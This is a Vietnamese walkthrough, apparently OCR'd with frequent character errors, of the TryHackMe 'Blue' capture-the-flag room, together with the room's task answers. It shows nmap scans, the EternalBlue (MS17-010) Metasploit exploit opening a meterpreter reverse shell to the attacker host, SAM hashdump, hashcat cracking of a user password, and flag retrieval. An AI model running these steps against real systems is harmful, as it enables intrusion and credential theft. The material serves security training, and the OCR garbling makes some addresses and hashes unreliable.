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Server thuc hién khai thac: Blue

https://tryhackme.com/room/blue

Théng tin dia chiip ban du:

- Kali sau khivpn:10.4.43.108
- M3y server:10.10.34.103

Tién hanh thu th3p théng tin
- Scan cac port tcp

nmap -vv -T4 -p- -sV -0 -Pn 10.10.34.103

Nmap scan report for 10.10.34.103

Host is up, received user-set (0.39s latency).

Scanned at 2022-08-26 04:55:38 EDT for 1216s

Not shown: 65526 closed tcp ports (reset)

PORT STATE SERVICE REASON VERSION

135/tcp open msrpc syn-ack ttl Microsoft Windows RPC

139/tcp open netbios-ssn syn-ack ttl Mi oft Windows netbios-ssn
445/tcp  open microsoft-ds syn-ack ttl Microsoft Windows 7 - 10 microsoft-ds (workg
roup: WORKGROUP)

3389/tcp open ssl/ms-wbt-server? syn-ack ttl

49152/tcp open msrpc syn-ack ttl Microsoft Windows RPC
49153/tcp open msrpc syn-ack ttl i ft Windows RPC
49154/tcp open msrpc syn-ack ttl i ft Windows RPC
49158/tcp open msrpc syn-ack ttl icrosoft Windows RPC

49159/tcp open msrpc syn-ack ttl Miérosoft Windows RPC

Uptime guess: 0.016 days (since Fri Aug 26 04:52:37 2022)

Network Distance: 4 hops

TCP Sequence Prediction: Difficulty=264 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: Host: JON-PC; 0S: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/sub
mit/ .
Nmap done: 1 IP address (1 host up) scanned in 1217.37 seconds
Raw packets sent: 69860 (3.077MB) | Rcvd: 67360 (2.730MB)

- Scancac portudp

nmap -v -T4 -sU -Pn 10.10.34.103


https://tryhackme.com/room/blue
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Nmap scan report for 10.10.34.103
Host is up (0.39s latency).

Not shown: 986 closed udp ports (port-unreach)
PORT STATE SERVICE
123/udp  open|filtered ntp

137/udp  open netbios-ns
138/udp  open|filtered netbios-dgm
500/udp open|filtered isakmp
1007/udp open|filtered unknown
1030/udp open|filtered iadl
4500/udp open|filtered nat-t-ike
5355/udp open|filtered llmnr
19197/udp open|filtered unknown
20710/udp open|filtered unknown
43967/udp open|filtered unknown
48078/udp open|filtered unknown
51255/udp open|filtered unknown
52503/udp open|filtered unknown

Pa phan cac port udp déu da bi tudng Itra chan, nén tam thdi bd qua.
Tim kiém nhirng 16 h6ng bao mat dang cd trén server

nmap -v -T4 --script vuln 10.10.34.103

VULNERABLE :
Remote Code Execution vulnerability in Microsoft SMBvl servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBvl
servers (msl7-010).

Disclosure date: 2017-03-14

References:
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-at

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

NSE: Script Post-scanning.
Initiating NSE at 05:22
Completed NSE at 05:22, 0.00s elapsed
Initiating NSE at 05:22
Completed NSE at ©5:22, 0.00s elapsed
Read data files from: fusr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 136.93 seconds
Raw packets sent: 1446 (63.600KB) | Rcwd: 1002 (40.116KB)

Dua vao nhirng két qud trén hoan thanh task 1
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Scan the machine. (If you are unsure how to tackle this, | recommend checking out the Nmap room)

No answer needed

How many ports are open with a port number under 1000?

3

What is this machine vulnerable to? (Answer in the form of: ms??-2??, ex: ms08-067)

ms17-010

Kh&i ddng metasploit dé tién hanh tan cong.

Search tir khéa ms17-010 13 16i d3 quét ra khi ndy d& chon code tan cdng. Cac options

twong &ng v4i nd la:

msTh exploit( ) = show options
Module options (exploit/windows/smb/msl7 010 eternalblue):

Name Current Setting Required Description

RHOSTS The target host(s), see https://github.com/rapid7/met

RPORT 44 yes The target port (TCP)

SMBDomain no (Optional) The Windows domain to use for authenticatig
es.

SMBPass no (Optional) The password for the specified username

SMBUser no (Optional) The username to authenticate as

VERIFY ARCH true yes Check if remote architecture matches exploit Target.

VERIFY TARGET true yes Check if remote 0S matches exploit Target. Only affec

Payload options (windows/x64/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.112 . The listen address (an interface may be specified)
LPORT 4444 1S The listen port

Exploit target:
Id Name

0 Automatic Target

O day cé mot options chua dugc set 13 RHOSTS - dia chiip cGa muc tiéu. (Dong thdi,

ta cing sé set lai dia chi LHOST - dia chi may kali dé nhan shell).

msTo exploit( )} > set RHOSTS 10.10.34.103
RHOSTS => 10.10.34.1603

msTo exploit( ) > set LHOST 10.4.43.168
LHOST => 10.4.43.108
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Tién hanh khai thac.

msf6 exploif(' : ) > exploit

Started reverse TCP handler on 18. 3.188:4444
. - Using auxiliary/scanner/smb/smb_msl7_ 010 as check
- Host is likely VULNERABLE to MS17-810! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
- Scanned 1 of 1 hosts (100% complete)
The target is vulnerable.
Connecting to target for exploitation.
Connection established for exploitation.
Target 0S selected valid for 0S indicated by SMB reply
CORE raw buffer dump (42 bytes)
0x00000000 57 69 6e 64 6 77 73 20 37 20 50 6f 66 65 73 Windows 7 Profes
0x00000010 73 69 6T 6e 61 6c 20 37 36 30 31 53 65 72 76 sional 7601 Serv
0x000OOG20 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
Target arch selected valid for arch indicated by DCE/RPC reply
Trying exploit with 12 Groom Allocations
Sending all but last fragment of exploit packet
Starting non-paged pool grooming
Sending SMBv2 buffers
Closing SMBv1l connection creating free hole adjacent to SMBv2 buffer.
Sending final SMBv2 buffers.
Sending last fragment of exploit packet!
Receiving response from exploit packet
ETERNALBLUE overwrite completed successfully (0xC000000D)
Sending egg to corrupted connection
.10.34.163: - Triggering free of corrupted buffer
Sending stage (200774 bytes)
[+] 10.10.34.103
[+] 10.10.34.18
[+] 18.10.34.18
Meterpreter session 1 opened (10.4.43. 3 > 10.10.34.103:49214) at 2022-08-26 05:31:10 -0400

meterpreter > i

Trd 10i 2 cdu hdi & task 2

Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)

exploit/windows/smb/ms17_010_eternalblue

Show options and set the one required value. What is the name of this value? (All caps for submission)

RHOSTS
Pén day viéc xdm nhap vd hé théng hoan thanh. Piéu lvu y 13 & ddy metaslpoit da ty
déng cho ta dung meterpreter_shell ma khéng can phai ndng cap.

Néu chua, cé thé xem hudng dan & day.

Hoan thanh task 3

If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the
name of the post module we will use? (Exact path, similar to the exploit we previcusly selected)

post/multi/manage/shell to_meterpreter

Select this (use MODULE_PATH). Show options, what option are we required to change?

session

Tién hanh viéc 18y cdc mat khau trong hé théng.


https://www.hackingarticles.in/command-shell-to-meterpreter/
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meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31dbcTefdl16ae931b73c59d7e0cB89cO: : ¢
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cTeldl6ae931b73c59d7e0c@B89cO: : :

Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43dee35be4d99l?acﬂccﬂadS?fﬂd:::.
meterpreter > i

& day cé mét account khdng phai account mic dinh trong hé théng 13 Jon. Can crack

mat khau nay. Dua vao két qud hash dump, cé thé chia lam 4 phan chinh:
user:Jon

RID:1000

LM hash: 3aad3b435b51404eeaad3b435b51404ee

NT hash: FFb43f0de35be4d9917ac0cc8ad57fF8d

Luu tat ca ndi dung cha Jon vao File Jon.kxt

GNU nano 6.3 Jon.txt *

Jon:1000:aad3b435b51404eeaad3b435b51404ee: fTb43f0de35bedd9917acBcc8ad57T8d: : :

St dung cdu lénh sau dé crack password:
hashcat --username --show -a 0 -m 1000 Jon.txt /usr/share/wordlists/rockyou.txt

(trong dé —username: dung dé bd qua phan username cua File Jon.txt, xem thém link).

e /home/kali/Desktop

At 0 1000 Jon.txt /usr/share/wordlists/rockyou.txt
Jon: ffb43f0de35bed4d9917acOccB8ad57f8d:alqfna22

Hoan thanh task 4

Task 4 @ Cracking

Dump the non-default user's password and crack it!

Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct
privileges to do so. What is the name of the non-default user?

Jon

Copy this password hash to a file and research how to crack it. What is the cracked password?

algfna22


https://pentesthacker.wordpress.com/2020/12/27/kali-hashcat-and-john-the-ripper-crack-windows-password-hashdump/
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Tién dén viéc tim 3 Flags cudi dua trén nhirng ggi y. D& tién hanh cé thé thuc hién
nhirng cau Iénh phé bién trén window (nhirng cdu 1&énh st dung & ddy hoan toan khac
V@i trén linux, vi du nhu 1énh “cat” dung doc File thi bén window 13 “type”; thao khao

thém tai link sau).
- Flag 1: This Flag can be found at the system root.

C:\Windows\system32>cd ..
cd ..

C:\Windows=cd ..
cd ..

C:\=dir

dir

Volume in drive C has no label.
Volume Serial Number is E611-0B66

Directory of C:\

03/17/2019 02:27 PM 24 flagl.txt
07/13/2009 10:20 PM <DIR> PerflLogs
04/12/2011 03:28 AM Program Files
03/17/2019 05:28 PM Program Files (x86)
12/12/2018 10:13 PM Users
03/17/2019 05:36 PM <DIR> Windows

1 File(s) 24 bytes

5 Dir(s) 20,797,497,344 bytes fTree

C:\>type flagl.txt
type flagl.txt
flag{access the machine}

- Flag2: This Flag can be Found at the location where passwords are stored within

Windows.

Pén day thi phat hién ra mot cach tim File trén window mét cadch don gidn hon rat

nhiéu, dd 13 dung |1énh: dir "\*search term* /s

Do do, ta co:


https://www.thomas-krenn.com/en/wiki/Cmd_commands_under_Windows
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C:\>dir *flag*.txt /s

dir *flag*.txt /s

Volume in drive C has no label.
Volume Serial Number is E611-0B66

Directory of C:\

03/17/2019 02:27 PM 24 flagl.txt
1 File(s) 24 bytes

Directory of C:\Users\Jon\Documents

03/17/2019 ©2:26 PM 37 flag3.txt
1 File(s) 37 bytes

Directory of C:\Windows\System32\config
03/17/2019 ©2:32 PM 34 flag2.txt
1 File(s) 34 bytes

Total Files Listed:
3 File(s) 95 bytes
0 Dir(s) 20,617,658,368 bytes free

Nhu vay, ta d3 biét ndi chra 3 Flag chi qua mét cdu 1énh. Bi dén va |18y Flag 13 xong van

deé:

C:\>cd Windows\System32\config
cd Windows\System32\config

C:\Windows\System32\config=type flag2.txt

type fTlag2.txt

flag{sam database elevated access}
C:\Windows\System32\config=cd \Usersi\Jon\Documents
cd \Users\Jon\Documents

C:\Users\Jon\Documents>type flag3.txt
type flag3.txt
flag{admin _documents can be valuable}

Nhu vay 1a d3 hoan thanh dugc phong nay.

Flag1? This Alag can be Found at the system root.

flag{access_the machine}

Flag2? This flag can be found at the location where passwords are stored within Windows.

*Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine
and rerun the exploit to find this flag. This relatively rare, however, it can happen.

Flag{sam_database elevated access}

Flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

flagfadmin_documents_can_be valuable}



